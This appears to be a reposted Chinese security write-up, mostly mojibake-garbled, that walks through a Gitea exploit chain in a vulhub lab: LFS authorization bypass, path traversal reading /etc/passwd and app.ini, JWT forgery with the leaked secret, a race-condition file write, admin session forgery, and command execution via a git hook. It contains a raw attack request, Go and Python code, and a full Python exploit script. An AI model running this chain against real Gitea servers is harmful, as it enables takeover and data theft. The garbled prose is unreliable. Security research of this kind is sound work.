Äú¿ÉÒÔ¾èÖú£¬Ö§³ÖÎÒÃǵĹ«ÒæÊÂÒµ¡£

1Ôª 10Ôª 50Ôª





ÈÏÖ¤Â룺  ÑéÖ¤Âë,¿´²»Çå³þ?Çëµã»÷Ë¢ÐÂÑéÖ¤Âë ±ØÌî



  ÇóÖª ÎÄÕ ÎÄ¿â Lib ÊÓÆµ iPerson ¿Î³Ì ÈÏÖ¤ ×Éѯ ¹¤¾ß ½²×ù Model Center   Code  
»áÔ±   
   
 
     
   
 ¶©ÔÄ
  ¾èÖú
Go´úÂëÉ󼯣ºGiteaÔ¶³ÌÃüÁîÖ´ÐЩ¶´Á´
 
  1333  次浏览      27
 2019-4-8
 
±à¼­ÍƼö:
±¾ÎÄÀ´×ÔÓÚfreebuf£¬ ±¾ÎÄÖ÷Òª½éÉÜÁËÕû¸ö©¶´Á´µÄÏêϸÄÚÈÝÒÔ¼°×÷Õß¶ÔÕâ¸ö©¶´Á´µÄÒ»·´Ë¼µÈ¡£

©¶´Ò»¡¢Âß¼­´íÎóµ¼ÖÂȨÏÞÈÆ¹ý

ÕâÊDZ¾Â©¶´Á´µÄµ¼»ðË÷£¬Æä³öÏÖÔÚGit LFSµÄ´¦ÀíÂß¼­ÖС£

Git LFSÊÇGitΪ´óÎļþÉèÖõĴ洢ÈÝÆ÷£¬ÎÒÃÇ¿ÉÒÔÀí½âΪ£¬Ëû½«ÕæÕýµÄÎļþ´æ´¢ÔÚgit²Ö¿âÍ⣬¶øgit²Ö¿âÖÐÖ»´æ´¢ÁËÕâ¸öÎļþµÄË÷Òý£¨Ò»¸ö¹þÏ£Öµ£©¡£ÕâÑù£¬git objectsºÍ.gitÎļþ¼ÐÏÂÆäʵÊÇûÓÐÕâ¸öÎļþµÄ£¬Õâ¸öÎļþ´¢´æÔÚgit·þÎñÆ÷ÉÏ¡£gitea×÷Ϊһ¸ögit·þÎñÆ÷£¬Ò²ÌṩÁËLFS¹¦ÄÜ¡£

ÔÚ modules/lfs/server.go ÎļþÖУ¬PostHandlerÊÇPOSTÇëÇóµÄ´¦Àíº¯Êý£º

¿É¼û£¬ÆäÖм䲿·Ö°üº¬¶ÔȨÏ޵ļì²é£º

if !authenticate(ctx, repository, rv.Authorization, true) {
requireAuth(ctx)}

ÔÚûÓÐȨÏÞµÄÇé¿öÏ£¬½öÖ´ÐÐÁËrequireAuthº¯Êý£ºÕâ¸öº¯Êý×öÁËÁ½¼þÊ£¬Ò»ÊÇдÈëWWW-AuthenticateÍ·£¬¶þÊÇÉèÖÃ״̬ÂëΪ401¡£Ò²¾ÍÊÇ˵£¬ÔÚûÓÐȨÏÞµÄÇé¿öÏ£¬²¢Ã»ÓÐÍ£Ö¹Ö´ÐÐPostHandlerº¯Êý¡£

ËùÒÔ£¬ÕâÀï´æÔÚÒ»´¦È¨ÏÞÈÆ¹ý©¶´¡£

©¶´¶þ¡¢Ä¿Â¼´©Ô½Â©¶´

Õâ¸öȨÏÞÈÆ¹ý©¶´µ¼Öµĺó¹ûÊÇ£¬Î´ÊÚȨµÄÈÎÒâÓû§¶¼¿ÉÒÔΪij¸öÏîÄ¿£¨ºóÃæ¶¼ÒÔvulhub/repoΪÀý£©´´½¨Ò»¸öGit LFS¶ÔÏó¡£

Õâ¸öLFS¶ÔÏó¿ÉÒÔͨ¹ýhttp://example.com/vulhub/repo.git
/info/lfs/objects/[oid]ÕâÑùµÄ½Ó¿ÚÀ´·ÃÎÊ£¬±ÈÈçÏÂÔØ¡¢Ð´ÈëÄÚÈݵȡ£ÆäÖÐ[oid]ÊÇLFS¶ÔÏóµÄID£¬Í¨³£À´ËµÊÇÒ»¸ö¹þÏ££¬µ«giteaÖв¢Ã»ÓÐÏÞÖÆÕâ¸öIDÔÊÐí°üº¬µÄ×Ö·û£¬ÕâÒ²Êǵ¼Öµڶþ¸ö©¶´µÄ¸ù±¾Ô­Òò¡£

ÎÒÃÇÀûÓõÚÒ»¸ö©¶´£¬ÏÈ·¢ËÍÒ»¸öÊý¾Ý°ü£¬´´½¨Ò»¸öOidΪ¡­¡­/../../etc/passwdµÄLFS¶ÔÏó£º

POST /vulhub/repo.git/info/lfs/objects HTTP/1.1Host: your-ip:3000Accept-Encoding: gzip, deflateAccept: application/vnd.git-lfs+jsonAccept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 151{
"Oid": "....../../../etc/passwd",
"Size": 1000000,
"User" : "a",
"Password" : "a",
"Repo" : "a",
"Authorization" : "a"}

ÆäÖУ¬vulhub/repoÊÇÒ»¸ö¹«¿ªµÄÏîÄ¿¡£

Ò²¾ÍÊÇ˵£¬Õâ¸ö©¶´µÄÀûÓÃÊÇÓÐÌõ¼þµÄ£¬µÚÒ»¸öÌõ¼þ¾ÍÊÇÐèÒªÓÐÒ»¸ö¹«¿ªÏîÄ¿¡£ÎªÊ²Ã´ÄØ£¿ËäÈ»¡°´´½¨LFS¶ÔÏó¡±½Ó¿ÚÓÐȨÏÞÈÆ¹ý©¶´£¬µ«ÊÇ¡°¶ÁÈ¡Õâ¸ö¶ÔÏóËù´ú±íµÄÎļþ¡±½Ó¿ÚûÓЩ¶´£¬»áÏȼì²éÄãÊÇ·ñÓÐȨÏÞ·ÃÎÊÕâ¸öLFS¶ÔÏóËùÔÚµÄÏîÄ¿¡£Ö»Óй«¿ªÏîÄ¿²ÅÓÐȨÏÞ¶ÁÈ¡¡£

¼ûÏÂͼ£¬·¢ËÍÊý¾Ý°üºó£¬ËäÈ»·µ»ØÁË401״̬Â룬µ«Êµ¼ÊÉÏÕâ¸öLFS¶ÔÏóÒѾ­´´½¨³É¹¦£¬ÇÒÆäOidΪ¡­¡­/../../etc/passwd¡£

µÚ¶þ²½£¬¾ÍÊÇ·ÃÎÊÕâ¸ö¶ÔÏó¡£·ÃÎÊ·½·¨¾ÍÊÇGETÇëÇóhttp://example.com/vulhub/repo.git/
info/lfs/objects/[oid]/sth£¬oid¾ÍÊǸղÅÖ¸¶¨µÄ£¬ÕâÀïÒªÓÃurl±àÂëһϡ£

¼ûÏÂͼ£¬/etc/passwdÒѱ»³É¹¦¶ÁÈ¡£º

ÄÇô£¬ÎÒÃÇÀ´¿´¿´ÎªÊ²Ã´¶ÁÈ¡µ½ÁË/etc/passwdÎļþ¡£

´úÂë modules/lfs/content_store.go £º

¿É¼û£¬meta.Oid±»´«ÈëtransformKeyº¯Êý£¬Õâ¸öº¯ÊýÀ½«Oidת»»³ÉÁËkey[0:2]/key[2:4]/key[4:]ÕâÑùµÄÐÎʽ£¬Ç°Á½¸ö¡¢ÖмäÁ½¸ö×Ö·û×öΪĿ¼Ãû£¬µÚËĸö×Ö·ûÒÔºóµÄÄÚÈÝ×÷ΪÎļþÃû¡£

ÄÇô£¬ÎÒ´´½¨µÄOidΪ¡­¡­/../../etc/passwd£¬ÔÚ¾­¹ýtransformKeyº¯Êýºó¾Í±ä³ÉÁË../../../../../etc/passwd£¬s.BasePathÊÇLFS¶ÔÏóµÄ»ù´¡Ä¿Â¼£¬¶þÕ߯´½Óºó×ÔÈ»¾Í¶ÁÈ¡µ½ÁË/etc/passwdÎļþ¡£

Õâ¾ÍÊǵڶþ¸ö©¶´£ºÄ¿Â¼´©Ô½¡£

©¶´Èý¡¢¶ÁÈ¡ÅäÖÃÎļþ£¬¹¹ÔìJWTÃÜÎÄ

vulhub/repoËäÈ»ÊÇÒ»¸ö¹«¿ªÏîÄ¿£¬µ«Ä¬ÈÏÖ»ÓжÁȨÏÞ¡£ÎÒÃÇÐèÒª½øÒ»²½ÀûÓá£

ÎÒÃÇÀûÓÃĿ¼´©Ô½Â©¶´£¬¿ÉÒÔ¶ÁÈ¡µ½giteaµÄÅäÖÃÎļþ¡£Õâ¸öÎļþÔÚ$GITEA_CUSTOM/conf/app.ini£¬$GITEA_CUSTOMÊÇgiteaµÄ¸ùĿ¼£¬Ä¬ÈÏÊÇ/var/lib/gitea/£¬ÔÚvulhubÀïÊÇ/data/gitea¡£

ËùÒÔ£¬Òª´ÓLFSµÄĿ¼¿çÔ½µ½$GITEA_CUSTOM/conf/app.ini£¬ÐèÒª¹¹Ôì³öµÄOidÊÇ¡­.gitea/conf/app.ini£¨¾­¹ýת»»ºó¾Í±ä³ÉÁË/data/gitea/lfs/../../gitea/conf/app.ini£¬Ò²¾ÍÊÇ/data/gitea/conf/app.ini¡£Ô­Â©¶´×÷Õ߸ø³öµÄPOCÕâÒ»¿éÊÇÓпӵģ¬Õâ¸öOidÐèÒª¸ù¾Ý²»Í¬$GITEA_CUSTOMµÄÉèÖýøÐе÷Õû¡££©

³É¹¦¶ÁÈ¡µ½ÅäÖÃÎļþ£¨ÈÔÐèÏÈ·¢ËÍPOST°ü´´½¨OidΪ¡­.gitea/conf/app.iniµÄLFS¶ÔÏ󣩣º

ÅäÖÃÎļþÖÐÓкܶàÃô¸ÐÐÅÏ¢£¬ÈçÊý¾Ý¿âÕ˺ÅÃÜÂ롢һЩTokenµÈ¡£Èç¹ûÊÇsqliteÊý¾Ý¿â£¬ÎÒÃÇÉõÖÁÄÜÖ±½ÓÏÂÔØÖ®¡£µ±È»£¬ÃÜÂë¼ÓÁËsalt¡£

GiteaÖУ¬LFSµÄ½Ó¿ÚÊÇʹÓÃJWTÈÏÖ¤£¬Æä¼ÓÃÜÃÜÔ¿¾ÍÊÇÅäÖÃÎļþÖеÄLFS_JWT_SECRET¡£ËùÒÔ£¬ÕâÀïÎÒÃǾͿÉÒÔÓÃÀ´¹¹ÔìJWTÈÏÖ¤£¬½ø¶ø»ñÈ¡LFSÍêÕûµÄ¶ÁдȨÏÞ¡£

ÎÒÃÇÓÃpythonÀ´Éú³ÉÃÜÎÄ£º

import jwtimport
timeimport base64def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='* (4 - missing_padding)
return base64.urlsafe_b64decode(data)
jwt_secret
= decode_base64('oUsPAAkeic6HaBMHPiTVHx
TeCrEDc29sL6f0JuVp73c')public_user_id
= 1public_repo_id = 1nbf =
int(time.time())-(60*60*24*1000)exp
= int(time.time())+(60*60*24*1000)token =
jwt.encode({'user': public_user_id, 'repo':
public_repo_id, 'op': 'upload', 'exp':
exp, 'nbf': nbf},jwt_secret,
algorithm='HS256')token =
token.decode()print(token)

ÆäÖУ¬jwt_secretÊǵڶþ¸ö©¶´ÖжÁÈ¡µ½µÄÃÜÔ¿£»public_user_idÊÇÏîÄ¿ËùÓÐÕßµÄid£¬public_repo_idÊÇÏîÄ¿id£¬Õâ¸öÏîĿָLFSËùÔÚµÄÏîÄ¿£»nbfÊÇÖ¸Õâ¸öÃÜÎĵĿªÊ¼Ê±¼ä£¬expÊÇÕâ¸öÃÜÎĵĽáÊøÊ±¼ä£¬Ö»Óе±Ç°Ê±¼ä´¦ÓÚÕâÁ½¸öÖµÖÐʱ£¬Õâ¸öÃÜÎIJÅÓÐЧ¡£

©¶´ËÄ¡¢ÀûÓÃÌõ¼þ¾ºÕù£¬Ð´ÈëÈÎÒâÎļþ

ÏÖÔÚ£¬ÎÒÃÇÄܹ¹ÔìJWTµÄÃÜÎÄ£¬¼´¿É·ÃÎÊLFSÖеÄдÈëÎļþ½Ó¿Ú£¬Ò²¾ÍÊÇPutHandler¡£

PUT²Ù×÷Ö÷ÒªÊÇÈçÏ´úÂ룺

Õû¸ö¹ý³ÌÕûÀíÈçÏ£º

1.transformKey(meta.Oid) + .tmp ºó׺×÷ΪÁÙʱÎļþÃû

2.Èç¹ûĿ¼²»´æÔÚ£¬Ôò´´½¨Ä¿Â¼

3.½«Óû§´«ÈëµÄÄÚÈÝдÈëÁÙʱÎļþ

4.Èç¹ûÎļþ´óСºÍmeta.Size²»Ò»Ö£¬Ôò·µ»Ø´íÎó£¨meta.sizeÊǵÚÒ»²½Öд´½¨LFSʱ´«ÈëµÄSize²ÎÊý£©

5.Èç¹ûÎļþ¹þÏ£ºÍmeta.Oid²»Ò»Ö£¬Ôò·µ»Ø´íÎó

6.½«ÁÙʱÎļþÖØÃüÃûÎªÕæÕýµÄÎļþÃû

ÒòΪÎÒÃÇÐèҪдÈëÈÎÒâÎļþ£¬ËùÒÔOidÒ»¶¨ÊÇÄܹ»´©Ô½µ½ÆäËûĿ¼µÄÒ»¸ö¶ñÒâ×Ö·û´®£¬¶øÒ»¸öÎļþµÄ¹þÏ££¨sha256£©È´Ö»ÊÇÒ»¸öHEX×Ö·û´®¡£ËùÒÔÉÏÃæµÄµÚ5²½£¬Ò»¶¨»áʧ°Üµ¼ÖÂÍ˳ö£¬ËùÒÔ²»¿ÉÄÜÖ´Ðе½µÚ6²½¡£Ò²¾ÍÊÇ˵£¬ÎÒÃÇÖ»ÄÜдÈëÒ»¸öºó׺ÊÇ¡°.tmp¡±µÄÁÙʱÎļþ¡£

ÁíÍ⣬×÷ÕßÓõ½ÁËdefer os.Remove(tmpPath)Õâ¸öÓï·¨¡£ÔÚgoÓïÑÔÖУ¬defer´ú±íº¯Êý·µ»ØÊ±Ö´ÐеIJÙ×÷£¬Ò²¾ÍÊÇ˵£¬²»¹Üº¯ÊýÊÇ·ñ·µ»Ø´íÎ󣬽áÊøÊ±¶¼»áɾ³ýÁÙʱÎļþ¡£

ËùÒÔ£¬ÎÒÃÇÐèÒª½â¾öµÄÊÇÁ½¸öÎÊÌ⣺

1.Äܹ»Ð´ÈëÒ»¸ö.tmpΪºó׺µÄÎļþ£¬ÔõôÀûÓã¿

2.ÈçºÎÈÃÕâ¸öÎļþÔÚÀûÓóɹ¦Ö®Ç°²»±»É¾³ý£¿

ÎÒÃÇÏÈ˼¿¼µÚ¶þ¸öÎÊÌ⡣©¶´·¢ÏÖÕ߸ø³öµÄ·½·¨ÊÇ£¬ÀûÓÃÌõ¼þ¾ºÕù¡£

ÒòΪgiteaÖÐÊÇÓÃÁ÷ʽ·½·¨À´¶ÁÈ¡Êý¾Ý°ü£¬²¢½«¶ÁÈ¡µ½µÄÄÚÈÝдÈëÁÙʱÎļþ£¬ÄÇôÎÒÃÇ¿ÉÒÔÓÃÁ÷ʽHTTP·½·¨£¬´«ÈëÎÒÃÇÐèҪдÈëµÄÎļþÄÚÈÝ£¬È»ºó¹ÒÆðHTTPÁ¬½Ó¡£Õâʱºò£¬ºó¶Ë»áÒ»Ö±µÈ´ýÎÒ´«Ê£ÏµÄ×Ö·û£¬ÔÚÕâ¸öʱ¼ä²îÄÚ£¬Putº¯ÊýÊǵȴýÔÚio.CopyÄǸö²½ÖèµÄ£¬µ±È»Ò²¾Í²»»áɾ³ýÁÙʱÎļþÁË¡£

ÄÇô£¬Ë¼¿¼µÚÒ»¸öÎÊÌ⣬.tmpΪºó׺µÄÁÙʱÎļþ£¬ÎÒÃÇÄÜ×öʲô£¿

©¶´Î塢αÔìsessionÌáÉýȨÏÞ

×î¼òµ¥µÄ£¬ÎÒÃÇ¿ÉÒÔÏò/etc/cron.d/ÖÐдÈëÒ»¸öcrontabÅäÖÃÎļþ£¬È»ºó·´µ¯»ñÈ¡shell¡£µ«Í¨³£gitea²»»áÔËÐÐÔÚrootȨÏÞ£¬ËùÒÔÎÒÃÇÐèҪ˼¿¼ÆäËû·½·¨¡£

giteaʹÓÃgo-macaron/sessionÕâ¸öµÚÈý·½Ä£¿éÀ´¹ÜÀísession£¬Ä¬ÈÏʹÓÃÎļþ×÷Ϊsession´æ´¢ÈÝÆ÷¡£ÎÒÃÇÀ´ÔĶÁgo-macaron/sessionÔ´Â룺

ÕâÀïÃæÓм¸¸öºÜÖØÒªµÄµã£º

1.sessionÎļþÃûΪsid[0]/sid[1]/sid

2.¶ÔÏó±»ÓÃGobÐòÁл¯ºó´æÈëÎļþ

GobÊÇGoÓïÑÔ¶ÀÓеÄÐòÁл¯·½·¨¡£ÎÒÃÇ¿ÉÒÔ±àдһ¶ÎGoÓïÑÔ³ÌÐò£¬À´Éú³ÉÒ»¶ÎGob±àÂëµÄsession£º

package mainimport (
"fmt"
"encoding/gob"
"bytes"
"encoding/hex")func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err}func main() {
var uid int64 = 1
obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "vulhub" }
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)}

ÆäÖУ¬{¡°_old_iod¡±: ¡°1¡å, ¡°uid¡±: uid, ¡°uname¡±: ¡°vulhub¡± }¾ÍÊÇsessionÖеÄÊý¾Ý£¬uidÊǹÜÀíÔ±id£¬unameÊǹÜÀíÔ±Óû§Ãû¡£±àÒë²¢Ö´ÐÐÉÏÊö´úÂ룬µÃµ½Ò»´®hex£¬¾ÍÊÇαÔìµÄÊý¾Ý¡£

Ô­×÷Õ߸ø³öµÄPOCÊÇËûÉú³ÉºÃµÄÒ»¶Î¶þ½øÖÆÎļþ£¬uidºÍuname²»ÄÜ×Ô¶¨Òå¡£

½Ó×Å£¬ÎÒдÁËÒ»¸ö¼òµ¥µÄPython½Å±¾À´½øÐкóÐøÀûÓã¨ÐèÒªPython3.6£©£º

import requestsimport
jwtimport timeimport base64import loggingimport
sysimport jsonfrom urllib.parse import quotelogging.basicConfig(stream=sys.stdout,
level=logging.DEBUG)BASE_URL = 'http://your-ip:
3000/vulhub/repo'JWT_SECRET
= 'AzDE6jvaOhh_u30cmkbEqmOdl8h34zOyxfqcieuAu9Y'USER_ID
= 1REPO_ID = 1SESSION_ID = '11vulhub'SESSION_DATA
= bytes.fromhex('0eff81040102ff82000110011000005
cff82000306737472696e670c0a00085f6f6c645f7569
6406737472696e670c0300013106737472696e670c05000
375696405696e7436340402000206737472696e
670c070005756e616d6506737472696e670c0800
0676756c687562')def generate_token():
def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='* (4 - missing_padding)
return base64.urlsafe_b64decode(data)
nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)
token = jwt.encode({'user': USER_ID, 'repo': REPO_ID,
'op': 'upload', 'exp': exp, 'nbf': nbf},
decode_base64(JWT_SECRET),
algorithm='HS256')
return token.decode()def gen_data():
yield SESSION_DATA
time.sleep(300)
yield b''OID = f'....gitea/sessions/
{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'response
= requests.post(f'{BASE_URL}.git/info/lfs/objects',
headers={
'Accept': 'application/vnd.git-lfs+json'}, json={
"Oid": OID,
"Size": 100000,
"User" : "a",
"Password" : "a",
"Repo" : "a",
"Authorization" : "a"})logging.info(response.text)
response = requests.put(f"{BASE_URL}.git/info
/lfs/objects/{quote(OID,
safe='')}", data=gen_data(), headers={
'Accept': 'application/vnd.git-lfs',
'Content-Type': 'application/vnd.git-lfs',
'Authorization': f'Bearer {generate_token()}'
})

Õâ¸ö½Å±¾»á½«Î±ÔìµÄSESSIONÊý¾Ý·¢ËÍ£¬²¢µÈ´ý300Ãëºó²Å¹Ø±ÕÁ¬½Ó¡£ÔÚÕâ300ÃëÖУ¬·þÎñÆ÷ÉϽ«´æÔÚÒ»¸öÃûΪ¡°11vulhub.tmp¡±µÄÎļþ£¬ÕâÒ²ÊÇsession id¡£

´øÉÏÕâ¸ösession id£¬¼´¿ÉÌáÉýΪ¹ÜÀíÔ±¡£

©¶´Áù¡¢ÀûÓÃHOOKÖ´ÐÐÈÎÒâÃüÁî

´øÉÏi_like_gitea=11vulhub.tmpÕâ¸öCookie£¬ÎÒÃǼ´¿É·ÃÎʹÜÀíÔ±ÕË»§¡£

È»ºóËæ±ãÕÒ¸öÏîÄ¿£¬ÔÚÉèÖÃÖÐÅäÖÃGit¹³×Ó¡£Git¹³×ÓÊÇÖ´ÐÐgitÃüÁîµÄʱºò£¬»á±»×Ô¶¯Ö´ÐеÄÒ»¶Î½Å±¾¡£±ÈÈçÎÒÕâÀïÓõÄpre-receive¹³×Ó£¬¾ÍÊÇÔÚcommit֮ǰ»áÖ´ÐеĽű¾¡£ÎÒÔÚÆäÖмÓÈë´ýÖ´ÐеÄÃüÁîtouch /tmp/success£º

È»ºóÔÚÍøÒ³¶Ëн¨Ò»¸öÎļþ£¬µãÌá½»¡£½øÈëdockerÈÝÆ÷£¬¿É¼ûÃüÁî±»³É¹¦Ö´ÐУº

һЩ˼¿¼

Õû¸ö©¶´Á´·Ç³£Á÷³©£¬Go Web¶ËµÄ´úÂëÉó¼ÆÒ²·Ç³£ÉÙ¼û£¬ÔÚ´«Í³Â©¶´Ô½À´Ô½ÉÙµÄÇé¿öÏ£¬ÕâЩºÃ˼·½«¸ø°²È«Ñо¿Õß´øÀ´ºÜ¶à²»Ò»ÑùµÄÍ»ÆÆ¡£

²»¹ý©¶´×÷Õ߸ø³öµÄPOCʵÔÚÊDZȽÏÀ㬻ù±¾À뿪ÁËËû×Ô¼ºµÄ»·¾³¾Í²»ÄÜÓÃÁË£¬¶øÇÒÎÒÒ²²»½¨ÒéÓÃÒ»¼ü»¯µÄ©¶´ÀûÓýű¾À´¸´ÏÖÕâ¸ö©¶´£¬Ô­ÒòÊÇÕâ¸ö©¶´µÄÀûÓÃÉæ¼°µ½Ò»Ð©²»È·¶¨Á¿£¬±ÈÈ磺

1.giteaµÄ$GITEA_CUSTOM£¬Õâ¸öÖµÓ°Ïìµ½¶ÁÈ¡app.iniµÄÄǶÎPOC

2.¹ÜÀíÔ±µÄÓû§ÃûºÍID£¬Õâ¸ö¿ÉÄÜÐèÒª²Â¡£µ«ÆäʵÎÒÃÇҲû±ØÒª±ØÐëαÔì¹ÜÀíÔ±µÄsession£¬ÎÒÃÇ¿ÉÒÔαÔìÈÎÒâÒ»¸öÓû§µÄsession£¬È»ºó½øÈëÍøÕ¾ºóÔÙÕÒÕÒ¿´¿´ÓÐûÓйÜÀíÔ±Ëù´´½¨µÄÏîÄ¿£¬Èç¹ûÓеϰ£¬¾Í¿ÉÒÔµÃÖª¹ÜÀíÔ±µÄÓû§ÃûÁË¡£

ÁíÍ⣬¸´ÏÖ©¶´µÄʱºòÒ²Óöµ½¹ýһЩ¿Ó£¬±ÈÈçgiteaµÚÒ»´Î°²×°ºÃ£¬Èç¹û²»ÖØÆôµÄ»°£¬ËûµÄsessionÊÇ´æ´¢ÔÚÄÚ´æÀïµÄ¡£Ö»ÓеÚÒ»´ÎÖØÆôºó£¬²Å»áʹÓÃÎļþsession£¬ÕâÒ»µãÐèҪעÒâ¡£

Èç¹ûÄ¿±êϵͳʹÓõÄÊÇsqlite×öÊý¾Ý¿â£¬ÎÒÃÇ¿ÉÒÔÖ±½ÓÏÂÔØÆäÊý¾Ý¿â£¬²¢Äõ½ËûµÄÃÜÂë¹þÏ£ºÍÁíÒ»¸öËæ»ú×Ö·û´®£¬ÀûÓÃÕâÁ½¸öÖµÆäʵÄÜÖ±½ÓαÔì¹ÜÀíÔ±µÄcookie£¨ÃûΪgitea_incredible£©£¬ÕâÒ»µãÎҾͲ»Ð´ÁË£¬´ó¼Ò¿ÉÒÔ×Ô¼º²é¿´Îĵµ¡£

   
1333 ´Îä¯ÀÀ       27
Ïà¹ØÎÄÕÂ

Éî¶È½âÎö£ºÇåÀíÀôúÂë
ÈçºÎ±àд³öÓµ±§±ä»¯µÄ´úÂë
ÖØ¹¹-ʹ´úÂë¸ü¼ò½àÓÅÃÀ
ÍŶÓÏîÄ¿¿ª·¢"±àÂë¹æ·¶"ϵÁÐÎÄÕÂ
Ïà¹ØÎĵµ

ÖØ¹¹-¸ÄÉÆ¼ÈÓдúÂëµÄÉè¼Æ
Èí¼þÖØ¹¹v2
´úÂëÕû½àÖ®µÀ
¸ßÖÊÁ¿±à³Ì¹æ·¶
Ïà¹Ø¿Î³Ì

»ùÓÚHTML5¿Í»§¶Ë¡¢Web¶ËµÄÓ¦Óÿª·¢
HTML 5+CSS ¿ª·¢
ǶÈëʽC¸ßÖÊÁ¿±à³Ì
C++¸ß¼¶±à³Ì